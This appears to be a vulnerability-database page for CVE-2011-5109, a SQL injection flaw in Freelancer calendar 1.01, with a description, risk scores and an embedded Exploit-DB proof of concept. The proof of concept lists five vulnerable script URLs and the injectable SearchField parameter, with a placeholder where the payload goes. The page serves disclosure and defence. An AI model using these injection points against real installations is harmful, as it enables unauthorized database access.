CVE-2011-5109

high

Published 2012-08-23 · Modified 2026-04-29

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CVSS v3

—

CVSS v4 NEW

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not yet in upstream

VIR risk

8.5

Description

Multiple SQL injection vulnerabilities in Freelancer calendar 1.01 and earlier allow remote attackers to inject arbitrary web script or HTML via the SearchField parameter in a search action to (1) category_list.php, (2) Copy_of_calendar_list.php, (3) customer_statistics_list.php, (4) customer_list.php, and (5) task_statistics_list.php in the worldcalendar directory.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-18127 webapps php text · 1 KB

muuratsalo · 2011-11-19

Freelancer Calendar 1.01 - SQL Injection

text exploit Source: Exploit-DB

------------------------------------------------------------------------
Freelancer calendar <= 1.01 SQL Injection Vulnerability
------------------------------------------------------------------------

author............: muuratsalo (Revshell.com)
contact...........: muuratsalo[at]gmail[dot]com
download..........: http://sourceforge.net/projects/freelancercal/


[0x01] Vulnerability overview:

Freelancer calendar <= 1.0.1 is affected by a SQL injection vulnerability.
Note - A registered account could be required to exploit the vulnerability.


[0x02] Disclosure timeline:

[16/11/2011] - SQL injection vulnerability discovered and reported to
the vendor.
[19/11/2011] - No response from the vendor, public disclosure.


[0x03] Proof of Concept:

http://localhost/worldcalendar/category_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/Copy_of_calendar_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/customer_statistics_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/customer_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]
http://localhost/worldcalendar/task_statistics_list.php?a=search&value=1&SearchFor=muuratsalo&SearchOption=Contains&SearchField=[SQL
injection]

Application impact

Vendor	Product	Versions	Fixed
john_geo	freelancer_calendar	`{"endIncluding":"1.01"}`

References

CWEs

CWE-89

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.